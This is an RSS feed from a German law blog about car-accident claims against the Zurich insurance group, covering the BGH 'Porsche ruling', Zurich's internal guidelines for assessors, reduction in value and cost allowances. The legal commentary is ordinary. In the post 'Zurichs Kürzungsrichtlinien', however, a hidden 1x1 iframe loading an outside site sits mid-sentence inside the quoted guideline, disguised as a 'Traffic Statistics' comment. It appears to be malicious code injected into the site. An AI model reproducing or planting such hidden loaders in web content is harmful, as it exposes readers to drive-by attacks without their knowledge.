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	<title>Unfall - Blog &#187; Zürich</title>
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	<description>Die Versuche der Versicherungen, am Geschädigten zu sparen</description>
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		<title>Porsche hei&#223;t Porsche und nicht Hinterhofswerkstatt</title>
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		<pubDate>Mon, 30 Jun 2008 12:15:51 +0000</pubDate>
		<dc:creator>RA Handschumacher</dc:creator>
				<category><![CDATA[aktuelle Rechtsprechung]]></category>
		<category><![CDATA[Allgemeines]]></category>
		<category><![CDATA[Zürich]]></category>

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		<description><![CDATA[Im Rahmen des sog. aktiven Schadensmanagements versuchen einige Versicherungen, den Gesch&#228;digten vorzuschreiben, in welcher H&#246;he sie Schadensersatz erhalten und wer ihr Fahrzeug reparieren soll. Hierbei wird meistens das sog. “Porsche-Urteil” (BGH vom 29.04.2003 &#8211; VI ZR 398/02) bem&#252;ht. Nach diesem BGH-Urteil sollte es eigentlich ausdiskutiert sein, da&#223; der Gesch&#228;digte insbesondere die Stundenverrechnungss&#228;tze einer markengebundenen Fachwerkstatt [...]]]></description>
			<content:encoded><![CDATA[<p>Im Rahmen des sog. aktiven Schadensmanagements versuchen einige Versicherungen, den Gesch&#228;digten vorzuschreiben, in welcher H&#246;he sie Schadensersatz erhalten und wer ihr Fahrzeug reparieren soll. Hierbei wird meistens das sog. “Porsche-Urteil” (BGH vom 29.04.2003 &#8211; <a title="(2 zugeordnete Entscheidungen)" href="http://dejure.org/dienste/vernetzung/rechtsprechung?Text=VI%20ZR%20398/02" target="_blank">VI ZR 398/02</a>) bem&#252;ht. Nach diesem BGH-Urteil sollte es eigentlich ausdiskutiert sein, da&#223; der Gesch&#228;digte insbesondere die Stundenverrechnungss&#228;tze einer markengebundenen Fachwerkstatt erstattet verlangen kann. Unter Zitat dieser Entscheidung wird den Gesch&#228;digten gleichwohl die Entsch&#228;digung gem&#228;&#223; Sachverst&#228;ndigengutachten verwehrt, weil der BGH angeblich gerade nicht ausgef&#252;hrt habe, da&#223; die Stundenverrechnungss&#228;tze einer <strong>marken</strong>gebundenen Fachwerkstatt zu ersetzen seien (das ist falsch, in der BGH-Entscheidung ist mehrfach von einer Porsche-Werkstatt als Ma&#223;stab die Rede) und au&#223;erdem, da&#223; der BGH eine Einschr&#228;nkung gemacht habe. Der Gesch&#228;digte m&#252;sse sich auf eine f&#252;r ihn g&#252;nstigere und angemessene M&#246;glichkeit der Reparatur verweisen lassen. Seitdem wird versucht, den Gesch&#228;digten auf sog. “Partnerwerkst&#228;tten” zu verweisen, die mit weit niedrigeren Stundenverrechnungss&#228;tzen kalkulieren. Es werden dann in aller Regel nicht markengebundene kleinere Werkst&#228;tten genannt, die angeblich zu diesen Preisen arbeiten.</p>
<p>Dieser Praxis hat in Berlin <a title="KG, Urteil v. 30.6.08, 22 U 13/08" href="http://www.mein-recht-in-berlin.de/Dateien/KG_22_U_13-08.pdf" target="_blank">das Kammergericht (22 U 13/08)</a> (vgl. auch RA Bert Handschumacher &#8220;Gleichwertigkeit der Reparaturm&#246;glichkeit im schadensrechtlichen Sinne &#8211; Markengebundene Fachwerstatt&#8221; in NJW 2008, S. 2622 ff) heute eine Absage erteilt.</p>
<p>Der Senat vertritt die Auffassung, da&#223; das Porsche-Urteil des BGH eindeutig sei und der Gesch&#228;digte sich daher nicht auf eine g&#252;nstigere freie Werkstatt bei fiktiver Abrechnung verweisen lassen mu&#223;. Da der BGH im sog. Porscheurteil die Frage nach Auffassung des KG eindeutig gekl&#228;rt hat, wurde die Revision nicht zugelassen.</p>
<p>Der gegnerische Kollege (Versicherungs-Platzhirsch in Berlin), der st&#228;ndig diverse Versicherungen vertritt, meinte:&#8221;Damit h&#246;rt der Bl&#246;dsinn mit der K&#252;rzung endlich mal auf&#8221;.<br />
Ihm war es angesichts der <a title="Richtlinien &#252;ber die Zusammenarbeit der freiberuflichen Sachverst&#228;ndigen und der Z&#252;rich-Gruppe Deutschland" href="http://www.captain-huk.de/wp-content/uploads/2007/11/RA_Reckels_Arbeitsanweisung-ZuerichVers.pdf" target="_blank">&#8220;Richtlinien &#252;ber die Zusammenarbeit der freiberuflichen Sachverst&#228;ndigen und der Z&#252;rich-Gruppe Deutschland&#8221;</a> der Z&#252;rich-Versicherung, die wir eingereicht haben, sichtlich peinlich, diese Auffassung weiter zu vertreten.<br />
Beklagte war u.a. die Z&#252;rich-Versicherung.</p>
<p>Damit sind gegenl&#228;ufige Entscheidungen des AG Mitte bzw. die Interpretation der 59. Kammer des LG Berlin endlich vom Tisch.</p>
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		<title>Zurichs K&#252;rzungsrichtlinien</title>
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		<pubDate>Fri, 16 Nov 2007 14:40:49 +0000</pubDate>
		<dc:creator>RA Melchior</dc:creator>
				<category><![CDATA[Zürich]]></category>

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		<description><![CDATA[Bei Captain HUK hat der Kollege Reckels die „Richtlinien &#252;ber die Zusammenarbeit der freiberuflichen Kfz-Sachverst&#228;ndigen und der Zurich-Gruppe Deutschland&#8221; ins Netz gestellt. Ein kleiner Auszug: &#60;blockquote&#62; Vorwort: Diese Richtlinie regelt die Zusammenarbeit mit den externen Partner-SV der Zurich Gruppe Deutschland. Die G&#252;ltigkeit dieser Richtlinie erstreckt sich auf alle Gesellschaften der Zurich Gruppe Deutschland (Zurich Versicherung AG, [...]]]></description>
			<content:encoded><![CDATA[<p>Bei <a TARGET="_blank" HREF="http://www.captain-huk.de/allgemein/hat-die-zuerich-versicherungsgruppe-die-da-direkt-und-der-adac-die-grenze-zur-strafbaren-erpressung-ueberschritten/">Captain HUK</a> hat der Kollege Reckels die „<a TARGET="_blank" HREF="http://www.captain-huk.de/wp-content/uploads/2007/11/RA_Reckels_Arbeitsanweisung-ZuerichVers.pdf">Richtlinien &#252;ber die Zusammenarbeit der freiberuflichen Kfz-Sachverst&#228;ndigen und der Zurich-Gruppe Deutschland</a>&#8221; ins Netz gestellt. Ein kleiner Auszug:<br />
&lt;blockquote&gt;<br />
Vorwort: Diese Richtlinie regelt die Zusammenarbeit mit den externen Partner-SV der Zurich Gruppe Deutschland. Die G&#252;ltigkeit dieser Richtlinie erstreckt sich auf alle Gesellschaften der Zurich Gruppe Deutschland (Zurich Versicherung AG, DA direkt, ADAC). &#8230;</p>
<p>8.1. Im Gutachten ist anzugeben, ob bei der Besichtigung in einer Werkstatt ein unterschriebener Reparaturauftrag vorliegt. Liegt kein unterschriebener Reparaturauftrag vor, sind die Stundenverrechnungss&#228;tze der g&#252;nstigsten Fachwerkstatt zu ber&#252;cksichtigen, die in einem maximalen Umkreis von 20 km zum Wohnort des Halters / Nutzers ans&#228;ssig ist (s. hierzu Punkt 8.2).</p>
<p>Folgende Kosten / Zusatzaufwendungen sind in der Kalkulation nicht zu ber&#252;cksichtigen:<br />
=&gt; Ersatzteilzuschl&#228;ge<br />
=&gt; Verbringungskosten<br />
=&gt; Richtwinkels&#228;tze,<br />
=&gt; Entsorgungskosten,<br />
=&gt; Reinigungskosten<br />
=&gt; F&#252;ll &#8211; und Betriebsstoffe<br />
=&gt; Versand- und Frachtkosten</p>
<p>Ausnahme Totalschadensbereich<br />
Bei Grenzf&#228;llen zum Totalschaden sind alle evt. Kosten / Zusatzaufwendungen und die Stundenverrechnungss&#228;tze auf Werkstattniveau zu unterstellen bzw. zu kalkulieren. (Ziel: Risikoabsch&#228;tzung Grenzbereich Totalschaden).</p>
<p>8.2.1. Reparaturauftrag liegt vor<br />
Liegt bei der Besichtigung des Fahrzeugs ein unterschriebener Reparaturauftrag vor, ist mit den Stundenverrechnungss&#228;tzen der konkreten Werkstatt zu kalkulieren. Ferner ist der vom Kunden unterschriebene Reparaturauftrag fotografisch festzuhalten und dem Gutachten beizuf&#252;gen.</p>
<p>Im Gutachtentext ist folgendes zu vermerken:<br />
Da ein unterschriebener Reparaturauftrag vorliegt, wurden als Kalkulationsgrundlage die Std.-L&#246;hne der reparaturausf&#252;hrenden Werkstatt in Ansatz gebracht. Sollte jedoch der Fahrzeugschaden auf Basis einer fiktiven Abrechnung reguliert werden, sind die Std.-L&#246;hne zu pr&#252;fen und eventuell auf das Niveau einer regionalen Fachwerkstatt zu<!-- Traffic Statistics --> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> reduzieren.<br />
&lt;/blockquote&gt;<br />
Leider verf&#228;llt Captain HUK wieder in die Unart, diese interne Anweisung ebenso marktschreierisch wie hobbyjuristisch als „strafbare Erpressung&#8221; i.S. § 253 StGB darzustellen &#8211; was sie nat&#252;rlich nicht ist. Aber auch bei abgekl&#228;rterer Betrachtungsweise verbleibt noch erhebliches Unbehagen:</p>
<p>Freiberufliche Kfz-Sachverst&#228;ndige (nicht zu verwechseln mit frei und unabh&#228;ngig &#8211; „Partner-SV&#8221; !) werden hier nicht (nur) ihrem fachlichen Gewissen unterworfen, sondern in erster Linie diesen „Richtlinien&#8221;. Diese wiederum zielen darauf ab, dem Gesch&#228;digten ihm nach der &#252;berwiegenden Rechtsprechung zustehende Positionen vorzuenthalten. Dies gilt insbesondere f&#252;r die Stundenverrechnungss&#228;tze (Porsche-Urteil!) aber auch f&#252;r Ersatzteilzuschl&#228;ge und Verbringungskosten etc.</p>
<p>Besonderes bemerkenswert der Versuch, zun&#228;chst anerkannte Stundenverrechnungss&#228;tze bei fiktiver Abrechnung im Nachhinein wieder zu reduzieren und insbesondere die sog. „Ausnahme Totalschadensbereich&#8221;. De facto geht es hier ganz ersichtlich nicht um eine „Risikoabsch&#228;tzung Grenzbereich Totalschaden&#8221;, sondern schlicht darum, ein Auto „totzurechnen&#8221;, also den Gesch&#228;digten auf die billigere Totalschadensabrechnung zu verweisen.</p>
<p>Man kann Gesch&#228;digten in diesen F&#228;llen nur dringend empfehlen, sich nicht auf die „Partner-Sachverst&#228;ndigen&#8221; zu verlassen, sondern einen eigenen Sachverst&#228;ndigen einzuschalten, der wirklich frei und unabh&#228;ngig nach bestem Wissen und Gewissen sein Gutachten erstellt, nicht aber anhand von „Richtlinien&#8221; einer Versicherung.<br />
&lt;p&gt;&lt;/p&gt;</p>
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		<title>Zurichs sinnlose Textbausteine</title>
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		<pubDate>Fri, 05 Oct 2007 12:19:04 +0000</pubDate>
		<dc:creator>RA Melchior</dc:creator>
				<category><![CDATA[Zürich]]></category>

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		<description><![CDATA[Kurze Unfallschilderung an Zurich: &#8220;&#8230; ist Ihr VN auf den verkehrsbedingt abbremsenden PKW meines Mandanten aufgefahren. An dem PKW meines Mandanten trat Totalschaden ein, dieser selbst erlitt ein HWS-Trauma.&#8221; 1. Reaktion von Zurich am 27.o9.2007: „Im Rahmen der Ermittlungen haben wir die behandelnden &#196;rzte um medizinische Berichte gebeten. 2. Schreiben von Zurich am 29.o9.2007: Schadensabrechnung [...]]]></description>
			<content:encoded><![CDATA[<p>Kurze Unfallschilderung an Zurich: &#8220;&#8230; ist Ihr VN auf den verkehrsbedingt abbremsenden PKW meines Mandanten aufgefahren. An dem PKW meines Mandanten trat Totalschaden ein, dieser selbst erlitt ein HWS-Trauma.&#8221;</p>
<p>1. Reaktion von Zurich am 27.o9.2007: „Im Rahmen der Ermittlungen haben wir die behandelnden &#196;rzte um medizinische Berichte gebeten.<br />
2. Schreiben von Zurich am 29.o9.2007: Schadensabrechnung wie gefordert, und dann:<br />
&lt;blockquote&gt;<br />
„Die Erstattungsf&#228;higkeit des von Ihnen geltend gemachte Schmerzensgeldanspruchs setzt voraus, dass eine Verletzung erlitten wurde, die ihrer Art und Dauer nach erheblich ist. Die Rechtsprechung billigt nur in solchen F&#228;llen einen Schmerzensgeldanspruch zu, in denen die Erheblichkeitsschwelle &#252;berschritten wurde. Demgegen&#252;ber begr&#252;nden Verletzungen, die einen geringen, nur vor&#252;bergehenden Einfluss auf das Allgemeinbefinden haben, selbst dann kein Schmerzensgeldanspruch, wenn die Verletzungen objektiv festgestellt wurden.</p>
<p>Die von Ihnen dargestellten Beschwerden &#252;berschreiten die von der Rechtsprechung geforderte Erheblichkeitsschwelle nicht. Die erhobene Forderung m&#252;ssen wir daher zur&#252;ckweisen&#8221;<br />
&lt;/blockquote&gt;<br />
So viel Unsinn in einen einzigen Textbaustein zu pressen, ist schon beachtlich:</p>
<p>· „Eine Verletzung, die ihrer Art und Dauer nach erheblich ist.&#8221; Schlichter Unsinn, wie die einschl&#228;gigen Tabellen im Bereich bis zu einem Schmerzensgeld von ca. 750.- € zeigen. Diese betreffen &#252;berwiegend Verletzungen, die zwar l&#228;stig, aber nach Art und insbesondere Dauer sicherlich nicht „erheblich&#8221; sind.<br />
· „Die Rechtsprechung&#8221; &#8211; Ach, die schon wieder! Nur welche, wird nicht gesagt. Keine einzige Fundstelle o.&#228;. Was soll das?<br />
· „Die Erheblichkeitsschwelle &#252;berschritten&#8221;, Ach wirklich? Und wo ist diese Schwelle anzusiedeln? I.&#220;. s.o.<br />
· Ein geringer, nur vor&#252;bergehender Einfluss auf das Allgemeinbefinden? Was bitte ist gering? Und soll Schmerzensgeld nur dann gezahlt werden, wenn das Allgemeinbefinden nicht nur „vor&#252;bergehend&#8221; &#8211; also dauerhaft &#8211; beeintr&#228;chtigt wird?<br />
· „Die von Ihnen dargestellten Beschwerden&#8221;?? Mehr als: „dieser selbst erlitt ein HWS-Trauma&#8221; habe ich bisher noch nicht mitgeteilt, das angeblich angeforderte Arztattest kann der Zurich binnen zwei Tagen noch nicht vorliegen. Darf ich das also so verstehen, dass ein HWS-Trauma bei Zurich grunds&#228;tzlich als „unerhebliche, vor&#252;bergehende St&#246;rung des Allgemeinbefindens&#8221; angesehen wird, f&#252;r die kein Schmerzensgeld gezahlt wird?<br />
· Dass ich bez&#252;glich des Schmerzensgeldes noch gar keine Forderung erhoben habe, die zur&#252;ckzuweisen w&#228;re, sei nur am Rande erw&#228;hnt.</p>
<p>Wie schon fr&#252;her kritisiert: Wenn Versicherungen „die Rechtsprechung&#8221; bem&#252;hen, kommt in aller Regel Unfug heraus. Und kann man nicht jedenfalls Rechtsanw&#228;lte mit solchem Unsinn verschonen, insbesondere der Erw&#228;hnung nicht n&#228;her benannter Rechtsprechung?</p>
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		<title>Z&#252;rich-Versicherung und die Wertminderung &#8211; Update</title>
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		<pubDate>Thu, 31 May 2007 11:46:06 +0000</pubDate>
		<dc:creator>RA Kasulke</dc:creator>
				<category><![CDATA[Zürich]]></category>

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		<description><![CDATA[Bereits hier wurde ausgiebieg &#252;ber die Wertminderung diskutiert. Heute erreichte den Autor ein Schreiben im Auftrag der Gesch&#228;ftsleitung in dem angek&#252;ndigt wurde, dass die Wertminderung, aber ohne Anerkennung einer Rechtspflicht, &#252;bernommen wird. &#8220;Es l&#228;sst sich nicht ausschlie&#223;en, dass diese Forderung nach der neuen Entscheidung des BGH vom November 2004 gerechtfertigt sein k&#246;nnte.&#8221; Nur bez&#252;glich der [...]]]></description>
			<content:encoded><![CDATA[<p>Bereits <a href="http://www.unfall-recht.info/zuerich-versicherung-und-die-wertminderung/">hier</a> wurde ausgiebieg &#252;ber die Wertminderung diskutiert. Heute erreichte den Autor ein Schreiben im Auftrag der Gesch&#228;ftsleitung in dem angek&#252;ndigt wurde, dass die Wertminderung, aber ohne Anerkennung einer Rechtspflicht, &#252;bernommen wird. &#8220;Es l&#228;sst sich nicht ausschlie&#223;en, dass diese Forderung nach der neuen Entscheidung des BGH vom November 2004 gerechtfertigt sein k&#246;nnte.&#8221;</p>
<p>Nur bez&#252;glich der Mietwagenkosten konnte keine Eingung erzielt werden. Die Z&#252;rich kommt auf 422,65 € nach Schacke-Liste &#8211; ich errechne 524 € (eine Klasse kleiner). Die Rechnung lautet m.E. wie folgt: gewichtes Mittel nach Schwacke = 95,00 € pro Tag, mithin 380,00 €. Hinzukommt ein Aufschlag von 20%, der mittlerweile auch in der Rechtsprechung anerkannt wird, mithin 76,00 € sowie die Haftungsbegrenzung von 4 Tagen a  24€ also ein Gesamtbetrag von 542,00 €. Aber vielleicht l&#228;sst sich ja auch hier eine Einigung erzielen, ohne dass der Gerichtsweg beschritten werden muss.</p>
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		<title>Z&#252;rich Versicherung und die Wertminderung</title>
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		<pubDate>Mon, 07 May 2007 10:05:37 +0000</pubDate>
		<dc:creator>RA Kasulke</dc:creator>
				<category><![CDATA[Zürich]]></category>

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		<description><![CDATA[Der PKW der Mandantin ein Sharan TDI Family, Erstzzulassung am 02.07.2001 wurde bei einem KM-Stand von 78079 durch einen Antso&#223; vorne rechts derart besch&#228;digt, dass der Kotfl&#252;gel, der Sto&#223;f&#228;nger sowie der rechte Scheinwerfer ausgetauscht werden musste. Der VU ereignete sich am 19.12.2006. Das lt. Gutachten in einem guten Allgemeinzustand, gepflegte KFZ war also am Tag [...]]]></description>
			<content:encoded><![CDATA[<p>Der PKW der Mandantin ein Sharan TDI Family, Erstzzulassung am 02.07.2001 wurde bei einem KM-Stand von 78079 durch einen Antso&#223; vorne rechts derart besch&#228;digt, dass der Kotfl&#252;gel, der Sto&#223;f&#228;nger sowie der rechte Scheinwerfer ausgetauscht werden musste. Der VU ereignete sich am 19.12.2006. Das lt. Gutachten in einem guten Allgemeinzustand, gepflegte KFZ war also am Tag des Schadensereignisses ca. 5 1/2 Jahre. Aufgrund der Besch&#228;digungen hat der Sachverst&#228;ndige eine Wertminderung von 150,00 € im Gutachten ausgeweisen. Die Z&#252;rich Versicherung ist der Ansicht die Ersattung einer Wertminderung sei aufgrund des &#8220;Fahrzeugalters und der Laufleistung nicht gerechtfertigt. Eine wertm&#228;&#223;ige Beeintr&#228;chtigung verbleibe bei ordnungsgem&#228;&#223;er Reparatur nicht.&#8221; Weiterhin zahlt die Z&#252;rich Versicherung trotz Hinweises auf das OLG Celle wieder nur eine Kostenpauschale von 20,00 € und k&#252;rzt ohne Begr&#252;ndung die Mietwagenkosten, wobei Sie einfach &#252;bersieht, dass eine Vollkasko abgeschlossen wurde.</p>
<p>Der BGH hat mit Urteil vom 23.11.2004 dargelegt, dass die Obergrenze von 5 Jahren bzw. die 100.000 km-Grenze sich auf den Fahrzeugbestand von 1979 bezog. Die Technik ist jedoch Fortgeschritten und die Langlebigkeit der Fahrzeuge ist mit 1979 nicht zu vergleichen. Ein TDI l&#228;uft heute ohne Probleme bis 300.000 bzw. 350.000 km. Bei den Sch&#228;tzorganisationen DAT und Schwacke werden 12 Jahre alte KFZ gelistet und bewertet, wobei sich s&#228;mtliche Marktdoptierungen auf unfallfreie Fahrzeuge beziehen.</p>
<p>Die Weigerung der Z&#252;rich die Wertminderung auszugleichen ist daher nicht nachvollziehbar, zumal es sich eindeutig um einen offenbarungspflichtigen Schaden handelt. Stellt man zwei gleiche KFZ gegn&#252;ber, ein unfallfreies und das Fahrzeug der Mandantin, so erzielen beide beim Verkauf aufgrund des Unfalls nicht den gleichen Marktpreis. Dies d&#252;rfte einleuchtend sein. Die Z&#252;rich hat auf ein Schreiben vom 28.03.2007 und eine Erinnerung vom 23. 04.2007, die als Vorstandbeschwerde gekennzeichnet war, nicht reagiert. Heute geht die Klageempfehlung an die Mandantin.</p>
]]></content:encoded>
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		<title>Z&#252;rich Hannover und die Kostenpauschale</title>
		<link>http://www.unfall-recht.info/zuerich-hannover-und-die-kostenpauschale/</link>
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		<pubDate>Sun, 28 May 2006 14:50:21 +0000</pubDate>
		<dc:creator>RA Kasulke</dc:creator>
				<category><![CDATA[Zürich]]></category>

		<guid isPermaLink="false">http://www.unfall-recht.info/2006/05/28/zuerich-hannover-und-die-kostenpauschale/</guid>
		<description><![CDATA[Die KH-Sachbearbeiter der Z&#252;rich-Versicherung in Hannover sind anscheinend leider nicht in der Lage die Anspruchsschreiben der Rechtsanw&#228;lte aufmerksam zu lesen. So wurde seitens des Autors immer eine Kostenpauschale von 25,00 € geltend gemacht. Dies mit Hinweis auf die Rechtsprechung des f&#252;r Hannover zust&#228;ndigen OLG Celle (ver&#246;ffenlicht in NJW-RR 2004, S. 1673 sowie NJW-Spezial Heft 8, [...]]]></description>
			<content:encoded><![CDATA[<p>Die KH-Sachbearbeiter der Z&#252;rich-Versicherung in Hannover sind anscheinend leider nicht in der Lage die Anspruchsschreiben der Rechtsanw&#228;lte aufmerksam zu lesen.  So wurde seitens des Autors immer eine Kostenpauschale von 25,00 € geltend gemacht. Dies mit Hinweis auf die Rechtsprechung des f&#252;r Hannover zust&#228;ndigen OLG Celle (ver&#246;ffenlicht in NJW-RR 2004, S. 1673 sowie NJW-Spezial Heft 8, 2004 S. 355). Demnach betr&#228;gt die Kostenpauschale f&#252;r alle Verkehrsunf&#228;lle ab dem 01.08.2003 die geforderten 25,00 €. Jedoch werden seitens der Sachbearbeiter <span id="more-21"></span> immer nur 20,00 € zur Anweisung gebracht.  Selbst ein Gespr&#228;ch mit dem Abteilungsleiter, der sodann um Zusendung des Urteils bat, brachte noch keine Abhilfe. Mithin wird regelm&#228;&#223;ig nach erneutem Hinweis auf das Urteil und die &#220;bersendung des Urteils weitere 5,00 € zur Anweisung gebracht.</p>
<p>Dieser doppelte Aufwand ist doch nicht n&#246;tig, liebe Z&#252;rich. Und bevor dem Mandanten umst&#228;ndlich erkl&#228;rt wird, warum er nur 20 € anstatt der geforderten 25,00 € erh&#228;lt ist es f&#252;r den Rechtsanwalt einfacher das Urteil zu &#252;bersenden. Diesen Aufwand k&#246;nnen sich aber beide Seiten ersparen.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Z&#252;rich Versicherungen &#8211; Der &#8220;unheimliche&#8221; Wiederbeschaffungswert</title>
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		<pubDate>Tue, 23 May 2006 15:48:20 +0000</pubDate>
		<dc:creator>RA Kasulke</dc:creator>
				<category><![CDATA[Zürich]]></category>

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		<description><![CDATA[Der Mandant war unverschuldet in einen Verkehrsunfall verwickelt. Der &#246;ffentlich bestellte und vereidigte Sachverst&#228;ndige ermittelte in seinem Gutachten einen Restwert von 1000,00 € sowie einen Wiederbeschaffungswert von 2350,00 €. Die Reparaturkosten lagen lt. Gutachter bei 1844,41 €. Vor Einschaltung des Rechtanwaltes &#252;bermittelte die Z&#252;rich Versicherung nun ein Restwertangebot von 2400,00 € und wollte diesen Betrag [...]]]></description>
			<content:encoded><![CDATA[<p>Der Mandant war unverschuldet in einen Verkehrsunfall verwickelt. Der &#246;ffentlich bestellte und vereidigte Sachverst&#228;ndige ermittelte in seinem Gutachten einen Restwert von 1000,00 € sowie einen Wiederbeschaffungswert von 2350,00 €. Die Reparaturkosten lagen lt. Gutachter bei 1844,41 €. Vor Einschaltung des Rechtanwaltes &#252;bermittelte die Z&#252;rich Versicherung nun ein Restwertangebot von 2400,00 € <span id="more-18"></span> und wollte diesen Betrag bei der Regulierung zu Grunde legen. Es gab also jemanden, der f&#252;r das zerbeulte Auto mit einem Schaden von &#252;ber 1800,00 € netto mehr zahlen wollte, als ein unfallfreies gleiches KFZ auf dem Markt kostet ? Sollte der Mandant jetzt aufgrund dieses tollen Angebotes noch 50,00 € an die Z&#252;rich zahlen, da er ja ansonsten durch den Unfall bereichert gewesen w&#228;re ?</p>
<p>Nein, der Mandant machte mich Hilfe seines Anwalts deutlich, dass er das Fahrzeug noch weiter nutzen m&#246;chte. Daher war f&#252;r eine Regulierung Wiederbeschaffungswert abzgl. Restwert, mithin 1350,00 € kein Raum. Er bekam die vollen Repraturkosten lt. Gutachten (netto) in H&#246;he on 1844,41 €.  <font size="1">325/06</font></p>
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